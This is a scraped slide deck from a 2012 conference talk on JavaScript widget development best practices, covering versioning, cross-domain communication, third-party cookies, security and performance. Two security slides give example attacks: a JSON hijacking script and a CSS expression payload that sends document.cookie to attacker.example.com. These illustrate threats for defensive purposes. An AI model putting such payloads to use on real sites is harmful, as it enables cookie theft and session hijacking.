Thanks to visit codestin.com
Credit goes to www.slideshare.net

JavaScript Widget
Development Best
    Practices
   Volkan Özçelik

   volkan@o2js.com

                     2012-07-29 @ jstanbul
               http://jstabul.org/2012
Who am I?

• CTO, cember.net (%100 acquired by Xing AG; RIP)

• Project Director, livego.com (gone to deadpool, RIP)

• CO-VP of Technology, grou.ps ( http://grou.ps/ )

• JavaScript Engineer, SocialWire ( http://socialwire.com/ )

• J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
Other Places to Find Me

• http://github.com/v0lkan

• http://geekli.st/volkan

• http://twitter.com/linkibol

• http://linkd.in/v0lkan
Outline
• What is a Widget? / Types of Widgets
• Challenges Involved
  •   Versioning
  •   You are not the host, you are the thief.
  •   Shared Environment
  •   Bumping the Cross-Domain Wall
  •   Not Your Grandma’s Cookies
  •   Security
  •   Performance

• Questions
tar -zxvf 30Min.gz



http://bit.ly/js-widget
 (work in progress)
What is a Widget?

• A Distributed Plugin
  • Source Site ( widget provider )
  • Consumer Sites ( publishers )

• Can have a GUI ( weather forecast )

• May do not have GUI too ( analytics, statistics )

• Can be Stateful

• Can be Stateless
Versioning Hassle

• Types of Versioning
  • URL Versioning
  • Version Number as an Init Parameter

• If it ain’t broke, they won’t fix it.
  • When’s the last time you updated that Wordpress theme?
  • Nobody will change that darn version number!
Versioning Hassle
• google‘s ga.js 2 hour cache time;
• Facebook‘s all.js  15 minute cache time;
• twitter‘s widgets.js  30 minute cache time.


                    What part of
            “Far Future Expires Header”
               don’t you understand?!
Versioning Hassle
• Far Future Expires Header
• Self Cache-Revalidating Scripts
  • A Bootloader Script
  • A JavaScript Beacon
  • Iframe Refresh
    • window.location.reload(true)
Widget Initialization Flow
Act, but don’t be Seen

• You don’t own publisher’s DOM.

• Leave minimal trace behind.

• Do not slow down publisher.

• Do not pollute global namespace.
Act, but don’t be Seen
• Do not extend Object.prototype or Function.prototype

• Show love to the Module Pattern,

• Do not slow down publisher
  • Async initialization,
  • Lazy Load.

• Do not slow down yourself
  • Native is faster,
  • Use IDs everywhere.
Environment is Shared

• Prefix everything.

• I mean… everything!
Environment is Shared
Cross Domain Boundary
• Modern Methods
 • CORS
 • HTML5 window.postMessage API

• Hacks
 •   Flash Proxy
 •   Hash Fragment Transport
 •   window.name Transport
 •   Iframe inside an Iframe (klein bottle)
 •   Use Publisher’s Server as a Proxy
 •   JSON with Padding
Third Party Cookies

• Can be disabled by default.

• Users may explicitly disable them.

• Ad blocker browser plugins may disable them.

• You cannot rely on their existence.
Third Party Cookies

• Meaning of ‚disabled‛ varies too
  • Firefox & Opera
    • Server cannot read, client cannot write
    • We’re tossed! (or are we?)
  • IE
    • Server can read, client cannot write
  • Webkit (Chrome & Safari)
    • Server can read,
    • client can ‚kinda‛ write (iframe post hack)
Third Party Cookies

• Check for 3rd Party Cookie Support First
    • Don’t jump straight into hacks.

• External Windows as a Rescue
  • A pop-up is considered ‚first party‛

• What about Opera & Firefox ?
  • Store session ID as a variable.
  • Pass to the server at each request.
  • Do not store on publisher’s page!
    • Use an IFRAME on API domain for security.
Widget Security

• Bottom Line Up Front
 •   Sanitize everything.
 •   First deny everything, then whitelist known good.
 •   Check referrers, have a list of trusted domains.
 •   Do not trust anyone.

                                        function Anyone(){}
                                      function Publisher(){}
                         Publisher.prototype = new Anyone();
Widget Security
• XSS
  • Sanitize everything
  • Escape < > ; , ‘ ‚ into HTML entities

• CSRF
  • Use a CSRF token

• Denial of Service
  • Subdomains per publisher ( publisher1.api.example.com )
  • Throttle suspicious requests per subdomain.
  • Best handled on network / hardware layer.

• Session Hijacking
  • … is a reality.
  • The only reasonable protection is HTTPS.
Widget Security (lesser known)

JSON Hijacking
<script>
var captured = [];
function Array() {
    for (var i = 0; i < 3; i++) {
        this[i] setter = function(val)
                         { captured.push(val); };
    }
}
</script>
<script src="http://api.example.com/products.json"></script>
Widget Security (lesser known)

CSS Expression Hijacking



         var _wd_borderColor =
'#000;x:expression(var i = new Image;
i.src="http://attacker.example.com/?" +
          document.cookie);';
Widget Security (lesser known)

Clickjacking
• Invisible IFRAME positioned on a UI element.

Remedy:

• Framekiller scripts

• X-Frame-Options header

• Request confirmation for sensitive actions

• Register all your publishers
Widget Performance
• Minimize Initial Payload
  • Tiny bootloader, then load dependencies

• Lazy load when possible
• Combine and Minify Assets
• CSS Sprites
• Defer images (use a default image, then load
  original)
• Minimize # of HTTP Requests
Widget Performance

• Minimize Repaint and Reflow

• Rate-limit Server Requests (throttle, debounce)

• Yield with setTimeout(fn, 0)

• Chunk large arrays of instructions.

• Improve Perceived Performance
  • Be an optimist: act, then verify.
Widget Performance
•   Do not micro-optimize,
•   Do not optimize prematurely,
•   Optimizing without measurement is misleading,
•   It’s hard to measure a third party widget’s performance.
    •   A lot of moving parts involved.
    •   Tools like jsperf will not be of much use.
    •   Do not use your 8GB Ram + SSD MacBook for profiling.
    •   Test on an low-grade machine.
• Do not forget mobile!
Thank You!



 Questions?

External JavaScript Widget Development Best Practices

  • 1.
    JavaScript Widget Development Best Practices Volkan Özçelik [email protected] 2012-07-29 @ jstanbul http://jstabul.org/2012
  • 2.
    Who am I? •CTO, cember.net (%100 acquired by Xing AG; RIP) • Project Director, livego.com (gone to deadpool, RIP) • CO-VP of Technology, grou.ps ( http://grou.ps/ ) • JavaScript Engineer, SocialWire ( http://socialwire.com/ ) • J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
  • 3.
    Other Places toFind Me • http://github.com/v0lkan • http://geekli.st/volkan • http://twitter.com/linkibol • http://linkd.in/v0lkan
  • 4.
    Outline • What isa Widget? / Types of Widgets • Challenges Involved • Versioning • You are not the host, you are the thief. • Shared Environment • Bumping the Cross-Domain Wall • Not Your Grandma’s Cookies • Security • Performance • Questions
  • 5.
  • 6.
    What is aWidget? • A Distributed Plugin • Source Site ( widget provider ) • Consumer Sites ( publishers ) • Can have a GUI ( weather forecast ) • May do not have GUI too ( analytics, statistics ) • Can be Stateful • Can be Stateless
  • 7.
    Versioning Hassle • Typesof Versioning • URL Versioning • Version Number as an Init Parameter • If it ain’t broke, they won’t fix it. • When’s the last time you updated that Wordpress theme? • Nobody will change that darn version number!
  • 8.
    Versioning Hassle • google‘sga.js 2 hour cache time; • Facebook‘s all.js  15 minute cache time; • twitter‘s widgets.js  30 minute cache time. What part of “Far Future Expires Header” don’t you understand?!
  • 9.
    Versioning Hassle • FarFuture Expires Header • Self Cache-Revalidating Scripts • A Bootloader Script • A JavaScript Beacon • Iframe Refresh • window.location.reload(true)
  • 10.
  • 11.
    Act, but don’tbe Seen • You don’t own publisher’s DOM. • Leave minimal trace behind. • Do not slow down publisher. • Do not pollute global namespace.
  • 12.
    Act, but don’tbe Seen • Do not extend Object.prototype or Function.prototype • Show love to the Module Pattern, • Do not slow down publisher • Async initialization, • Lazy Load. • Do not slow down yourself • Native is faster, • Use IDs everywhere.
  • 13.
    Environment is Shared •Prefix everything. • I mean… everything!
  • 14.
  • 15.
    Cross Domain Boundary •Modern Methods • CORS • HTML5 window.postMessage API • Hacks • Flash Proxy • Hash Fragment Transport • window.name Transport • Iframe inside an Iframe (klein bottle) • Use Publisher’s Server as a Proxy • JSON with Padding
  • 16.
    Third Party Cookies •Can be disabled by default. • Users may explicitly disable them. • Ad blocker browser plugins may disable them. • You cannot rely on their existence.
  • 17.
    Third Party Cookies •Meaning of ‚disabled‛ varies too • Firefox & Opera • Server cannot read, client cannot write • We’re tossed! (or are we?) • IE • Server can read, client cannot write • Webkit (Chrome & Safari) • Server can read, • client can ‚kinda‛ write (iframe post hack)
  • 18.
    Third Party Cookies •Check for 3rd Party Cookie Support First • Don’t jump straight into hacks. • External Windows as a Rescue • A pop-up is considered ‚first party‛ • What about Opera & Firefox ? • Store session ID as a variable. • Pass to the server at each request. • Do not store on publisher’s page! • Use an IFRAME on API domain for security.
  • 19.
    Widget Security • BottomLine Up Front • Sanitize everything. • First deny everything, then whitelist known good. • Check referrers, have a list of trusted domains. • Do not trust anyone. function Anyone(){} function Publisher(){} Publisher.prototype = new Anyone();
  • 20.
    Widget Security • XSS • Sanitize everything • Escape < > ; , ‘ ‚ into HTML entities • CSRF • Use a CSRF token • Denial of Service • Subdomains per publisher ( publisher1.api.example.com ) • Throttle suspicious requests per subdomain. • Best handled on network / hardware layer. • Session Hijacking • … is a reality. • The only reasonable protection is HTTPS.
  • 21.
    Widget Security (lesserknown) JSON Hijacking <script> var captured = []; function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; } } </script> <script src="http://api.example.com/products.json"></script>
  • 22.
    Widget Security (lesserknown) CSS Expression Hijacking var _wd_borderColor = '#000;x:expression(var i = new Image; i.src="http://attacker.example.com/?" + document.cookie);';
  • 23.
    Widget Security (lesserknown) Clickjacking • Invisible IFRAME positioned on a UI element. Remedy: • Framekiller scripts • X-Frame-Options header • Request confirmation for sensitive actions • Register all your publishers
  • 24.
    Widget Performance • MinimizeInitial Payload • Tiny bootloader, then load dependencies • Lazy load when possible • Combine and Minify Assets • CSS Sprites • Defer images (use a default image, then load original) • Minimize # of HTTP Requests
  • 25.
    Widget Performance • MinimizeRepaint and Reflow • Rate-limit Server Requests (throttle, debounce) • Yield with setTimeout(fn, 0) • Chunk large arrays of instructions. • Improve Perceived Performance • Be an optimist: act, then verify.
  • 26.
    Widget Performance • Do not micro-optimize, • Do not optimize prematurely, • Optimizing without measurement is misleading, • It’s hard to measure a third party widget’s performance. • A lot of moving parts involved. • Tools like jsperf will not be of much use. • Do not use your 8GB Ram + SSD MacBook for profiling. • Test on an low-grade machine. • Do not forget mobile!
  • 27.